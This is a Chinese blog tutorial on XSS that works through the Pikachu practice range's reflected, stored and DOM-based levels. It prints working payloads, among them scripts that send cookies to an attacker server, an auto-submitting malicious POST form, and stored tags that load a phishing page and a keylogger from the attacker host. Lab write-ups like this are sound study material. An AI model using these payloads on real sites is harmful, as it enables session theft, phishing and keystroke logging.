pikachu靶场通关教程(二)——XSS

发布于 2023-09-14  118 次阅读


所谓XSS漏洞,看见一个输入框,插就完事了。此谓:

XSS,见框就插

XSS漏洞,叫做跨站脚本攻击(Cross-Site Scripting)。为什么缩写不是CSS?因为前端已经有个叫做样式表的部分缩写成CSS了,为了避免重复,所以写成XSS。

记住,XSS的生成,一般发生在你可以控制页面显示内容的地方。

一、概念与分类

XSS是一种前端发生的漏洞,在页面中可能隐藏着没有显示出来的js(JavaScript)脚本,只要用户访问界面,就会自动触发,可以说是危害非常大,当然是在会触发的前提下。XSS漏洞可以大致上可以分为以下的三种类型:

1.反射型XSS

在三者之中可以说是危害最小的,因为触发的条件比较苛刻吧(相对的?)。攻击者要构造一个设计的好的链接,欺骗用户或者网站管理员点击。一旦点击就会触发js代码,窃取账号密码、Cookie或Session或者各种令牌(新名词get!)。但相对的,只要提高防范意识,这个漏洞就不会被处罚,有部分的厂商甚至不会接收反射型的XSS漏洞。[○・`Д´・ ○]

2.存储型XSS

这才是真的让这个漏洞在OWASP TOP10上居高不下的真正大头,非常容易触发的漏洞哦。顾名思义,这种XSS会将js代码藏匿在某个正常界面的某个地方,用户在正常的使用过程中会访问的那种,所有危害面积比较大,一旦成功传入漏洞,就非常容易触发。例如留言板、意见栏、评论区、商品订单等界面,这些一般来说可以保留内容,同时又会经常被人查看的地方。

3.DOM型XSS

首先你要去了解什么是DOM,一种浏览器内部用于表示和操作网页文档结构的一种数据结构。当浏览器加载一个网页时,它会将网页的HTML代码解析成DOM树,这个DOM树存在于浏览器内存中,并且只在浏览器的客户端环境中存在。DOM在浏览器内存中动态生成,不会被保留下来。每次打开网页或刷新页面时,浏览器都会重新构建DOM树,用户关闭页面后,DOM树会被销毁。

总是就是没有服务器的参与。DOM型XSS会修改浏览器的DOM文件,攻击者通过构造恶意输入,使得恶意脚本被插入到DOM中,以此产生一个XSS攻击。

4.总结

是不是还是不了解,云里雾里的?我来画张图给你看看。

反射型和存储型是会经过服务器的,但是:
1.反射型只是将链接中的参数带入后端,然后由后端返回给前端,并不具备长期性。
2.存储型会将数据js代码存入数据库或者某个文件里,一旦用户查询了相关的区域,就会触发js代码。这种XSS一般不容易被发现,非常可能长期存在。(发现的时候,数据早就泄露光咯,等着喝茶吧)

DOM型则完全不经过服务器,只是修改本地的DOM,从而影响用户本地数据的安全,以及影响用户对后端发动的参数。

ok,简单的了解后,正式进入靶场吧。

二、反射型XSS

1.GET请求

这一关的名称是GET请求,所以介绍一下这个url的格式,重点在于这个?后面的内容,举个例子

https://warspitesaiko.cc/study/pikachu.php?a=1&b=2
|---------域名---------|---路径及文件名---|--参数--|

GET方法中我们会把域名分为这几个部分,会用?后面的参数向php文件传入参数,多个参数间使用&连接。上面这一串url的含义是:
向网站根目录下的study文件夹内的pikachu.php文件传递参数a=1和b=2

一般pikachu.php文件内至少会有如下的代码,用于接收参数:

<?php
    x = $_GET['a'];
    y = $_GET['b'];
?>

PS:这里是写到POST请求的时候才觉得有必要的,我之后会单独写一篇文章来介绍一下常见的请求方式。这里先挖个坑,之后会放一个链接在这里的

ok,现在你已经了解的基本的GET方法,正式进入关卡吧:-D

注意到,页面中会显示我们输入的内容,同时url中也出现了带有我们输入内容的参数。这就符合了最开始说的,可以有我们来控制页面显示的内容,那么就有可能产生跨站漏洞。那让我们来写一个学习时经典的js代码:

# 显示一个弹窗,内容为1
<script> alert('1') </script>

这里有三种输入的方式:
1. 直接输入。但是会发现输入框限制了长度,但是前端限制都不是限制,改改源代码就好了
2. 修改url。在url中修改你想要
3. burp抓包后修改。

原理都是差不多的,最终的结果都是修改发送出去的数据包中的内容。我们依次来演示一下:

1. 直接输入

首先输入框的限制得先解除了,按下F12,点出弹出的界面左上角的图标,然后点击输入框,就会自动定位到对应的源代码。我们可以很明显的看到上面的“maxlength=“20””。所以我们只要把这里改改就好,比如改成1000。

然后在输入框中输入上述的代码,点击submit。

成功触发漏洞,但是正常的用户,谁会输入这样的一串恶意内容,然后把自己的数据传到你的服务器上呢?所以让我们来看看修改url的方法。

2. 修改url

回去看看上一步,在点击submit之后,注意到url发生了变化。

http://192.168.52.131:800/vul/xss/xss_reflected_get.php?message=%3Cscript%3E+alert%28%271%27%29+%3C%2Fscript%3E&submit=submit

之前已经介绍过GET方法的请求方式,所以这里显然是通过message将参数传入对应的文件中,然后显示到前端页面。所以我们直接在url后面通过参数传入我们希望的js代码。

192.168.52.131:800/vul/xss/xss_reflected_get.php?message=<script>alert('1')</script>&submit=submit

注意一下,最上面的url中,后面还有一个参数submit用来表示传递参数这个状态,所以我们在传入js代码的同时,也不能忘记这个参数。

3. burp抓包

这里正好可以看看GET请求的数据包的内容形式,先随便输入点什么,点击submit,来到burp看看抓到的包。

最开始有我们的请求方式GET,然后紧接着就是目标host下的文件路径以及要传入的参数,和url的形式基本上是相同的。有了之前的两种方式的经历已经可以推测出现在应该怎么做了吧,对,就是直接修改message后面的内容。

之后放出这个包,看看界面。

嗯嗯,是不是和你想的一样呢?

在结束这一关之前,让我们好好想想,其实反射型XSS的攻击方式最主要的还是第二种,通过构造恶意url欺骗用户点击。但是随着现在防范意识的提高,这类攻击其实不是那么容易触发的,特别是网站管理员就更加不容易上当。

2.POST请求

在登录之前,先打开F12找到存储这一模块

可以看到Cookie这一栏是没有username和password的记录的,然后我们登录一下。

可以看到,username和password已经多出来了,所以这一次的XSS攻击,就是要欺骗管员访问恶意链接,然后回去Cookie。

有过相关的知识的话就会知道,POST请求中的数据是是以DATA的方式传输的,比如:

在数据包的最下一行,也就是说,我们不能通过构造URL的方式进行跨站攻击。这种情况,一般是我们模仿一个和站点外观“相同”,同时带恶意js代码的界面,这里为了方便我们就直接在站点的源代码上面做修改。进入到网站根目录下的./vul/xss/xsspost/xss_reflected_post.php

按照上图,修改代码,也就是添加上红框中的内容

# 在页面加载完毕后,触发function()内的js代码
<script>
    window.onload = function() {
        alert(document.cookie);
    };
</script>

假设攻击者已经构建了这样一个恶意的页面,当我们登录时,账号密码正确,就会触发js代码。在真正的攻击时,攻击者只要将这个函数的内容修改为不显示并发送到自己的服务器就可以了。

3.XSS后台模拟恶意网站

但是嘞,pikachu其实貌似并不希望我们这样通关。我们仔细看看pikachu文件夹的目录就会发现,有一个叫做pkxss的文件夹o( ̄ヘ ̄o#)。接下来就让我们看看该怎么使用它吧。

新准备一台虚拟机,能够启动Apache和MySQL服务的,按照之前的方式再搭建一个靶场,这里作为攻击者恶意搭建的网站。

确保配置文件正确,初始化完成后,访问以下链接:
http://[恶意服务器IP]/pkxss/pkxss_install.php
点击安装/初始化,出现下方红字就可以了。

返回http://[恶意服务器IP]/pkxss/pkxss_login.php登录。

修改./pkxss/xcookie/cookie.php文件,如下图,将IP改为被攻击的服务器(正常的那个)的地址

可以尝试解读一下上方的php代码,这里就不多说了,在正常站点登录后出现的输入框中输入Payload:

# 将页面重定向到新的url 
<script>document.location = 'http://[恶意服务器IP]/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

这里的界面是GET请求的跨站漏洞,这样我们就可以通过自己构造的恶意服务器构造恶意url:

# url编码中+也有空格的意思哦,而且参数里的符号要用url编码,不然某些浏览器识别会出问题
http://[正常站点IP]/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F[恶意站点IP]%3A800%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

你应该能看懂这串url的含义吧?就当作业了,不懂的话可以在评论区留言,我再来回答:-P
我们就能得到用户Cookie了

接下来是POST请求的

登录时候,可以看到产生XSS漏洞的输入框,我们已经知道,这里是通过POST提交的,所以不能直接将恶意代码并入URL中,因此,我们的攻击思路如下:

1. 搭建一个恶意站点,存在一个恶意POST表单。
2. 将这个有恶意表单的链接发送给用户,诱使他点击。
3. 恶意表单会向存在跨站的服务器提交POST请求,实现用户帮助我们提交POST请求。

还是之前的那一台攻击服务器,在./pkxss/xcookie/post.html文件中,如下图进行修改

<html>
<head>
<!-- 在页面加载完成后执行以下JavaScript代码 -->
<script>
window.onload = function() {
  // 查找具有id "postsubmit" 的按钮元素并模拟点击它
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<!-- 创建一个POST请求的表单,目标URL是"http://192.168.52.131:800/vul/xss/xsspost/xss_reflected_post.php" -->
<form method="post" action="http://192.168.52.131:800/vul/xss/xsspost/xss_reflected_post.php">
    <!-- 创建一个文本输入字段,名为"message" -->
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.52.130:800/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <!-- 创建一个提交按钮 -->
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

当用户访问

http://[攻击服务器]/pkxss/xcookie/post.html

就能够窃取用户cookie

三、存储型XSS

1.简单演示

存储型XSS,一般会在评论区出现,进入这一关看看

一个很正常的留言板,输入一些内容看看

我输入的内容被显示出来了,换句话说,我可以操纵这个页面的显示内容,而且因为是留言的缘故,就算刷新页面,也仍然会保留。那么我们输入js语句

<script>alert('1')</script>

提交!果然这里存在存储型的跨站漏洞

并且刷新网页,依旧会触发。那么这里能做的就很多了,钓鱼攻击、令牌窃取、键盘记录...这里演示一下,钓鱼和键盘记录。

2.钓鱼攻击

攻击机已经是老朋友了,来到./pkxss/xfish/fish.php文件中,将下方IP改为攻击机IP

然后再在漏洞服务器上“留言”

<script src="http://192.168.52.130:800/pkxss/xfish/fish.php"></script>

其实就是执行这个url中的代码,留言之后,别的用户访问这个界面“看”到这条“留言”时,就会自动跳转到我们的钓鱼网站。

然后,如果他乖乖地输入了用户名和密码,这个数据就会被我们记录到数据库中。但是!

如果你运行一下phpinfo();这个命令,就会发现Server API这一行是CGI/FastCGI,这是phpstudy的默认运行模式。但是php的HTTP认证机制中只有使用Apache模式运行时才有效,所以钓鱼的数据不会被存入数据库中,反而是会不停地重复钓鱼的界面。想要解决貌似要重新安装Apache服务QAQ。这里就不演示了,可以参考下面的这个链接:
Pikachu漏洞靶场系列之XSS钓鱼攻击后续-腾讯云开发者社区-腾讯云 (tencent.com)

3.键盘记录

修改攻击机的./pkxss/rkeypress/rk.js文件,IP替换为攻击机IP

rk.js文件的作用是记录用户的键盘操作,并且异步发送给攻击者。构造我们的Payload:

<script src="http://192.168.52.130:800/pkxss/rkeypress/rk.js></script>

这样在用户在页面输入时,键盘的记录就会被不断地发送出来

这里提一下,rk.js文件中,有涉及到一个ajax异步发送命令,这个方法一般的情况下是不可以跨域(新名词!)的。在rkserver.php文件中,有这么一行:

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

这是设置允许特定的网站跨域访问,这里设置了*,所以才允许所有人访问了。

四、DOM型XSS

1.就是DOM型

最开始有说过,DOM被叫做DOM树,会将你的网站源码中不同的元素划分好,元素的拓扑图形可以参考多叉树的样子(或者是缩进规范的代码?)。你可以理解可以通过js代码操作前端的排版,然后这棵树扭曲成各种各样的形状。

话不多说,先输入一些内容进去。

嗯?没有能控制的内容么?那么来看看源码好了,我加上了注释哦。(通过关键词比如click可以快速定位哦:-P)

<div class="page-content">

    <div id="xssd_main">
        <!-- JavaScript开始 -->
        <script>
            // JavaScript函数开始
            function domxss(){
                // 从下面id为text的文本框中的内容赋值给str
                var str = document.getElementById("text").value;
                // 然后将str通过字符串拼接写入a标签的href中,并将a标签的属性赋给id为dom的标签
                document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
            }
            //试试:'><img src="#" onmouseover="alert('xss')"> 示例注释
            //试试:' onclick="alert('xss')">,闭合掉就行 示例注释
        </script>
        <!-- JavaScript结束 -->

        <!--<a href="" onclick=('xss')>: 注释掉的链接标签 -->
        <!-- 文本输入框 -->
        <input id="text" name="text" type="text"  value="" />
        <!-- 按钮,单击时调用domxss()函数 -->
        <input id="button" type="button" value="click me!" onclick="domxss()" />
        <!-- 显示结果的<div>元素 -->
        <div id="dom"></div>
    </div>

</div><!-- /.page-content -->

数据传递的过程如下:
1. 假设我输入了hello,在我点击按钮时,函数domxss()将被调用。首先会获取文本框内的内容,并赋值给str,此时str=hello

var str = document.getElementById("text").value;

2. 接下来,JavaScript运行到下方代码

document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";

将 "str" 的值用于创建一个链接元素a,并设置其 "href" 属性为 "hello",即

<a href='hello'>what do you see?</a>

此HTML被插入到页面中具有id属性为"dom"的div元素中

<div id="dom"><a href='hello'>what do you see?</a></div>

也就是说,最后,页面上的what do you see?对应了一个链接,而这一部分其实也是我们可以操纵的,也就是尝试修改hello的内容来闭合符号。

#' onclick=alert('1')>

实际上,页面的内容就变成了:

<div id="dom"><a href='#' onclick=alert('1')>'>what do you see?</a></div>

然后点击下方的链接,成功的出现了弹窗

五、后记

对不起,居然花了这么久才写完XSS,这段时间赶上开学了,事情也有点多。其实主要在写这一章的时候涉及到的其它知识点有点多,又想尽可能详细地讲解内容,最后弄得自己的思路有点乱。最后还是决定按照自己的思路来写而不是单纯的按照靶场顺序。期间也可能插一些CTF赛题进来,哼哼,一直写一个东西脑子也是会累的啊。

你问剩下的几关呢?那都是攻击场景,我们可以在后续的练习中训练,作为新手教程,就不讲那么多了:-O

总之,希望下一篇文章能够尽快地写出来吧。再见咯(*^▽^*)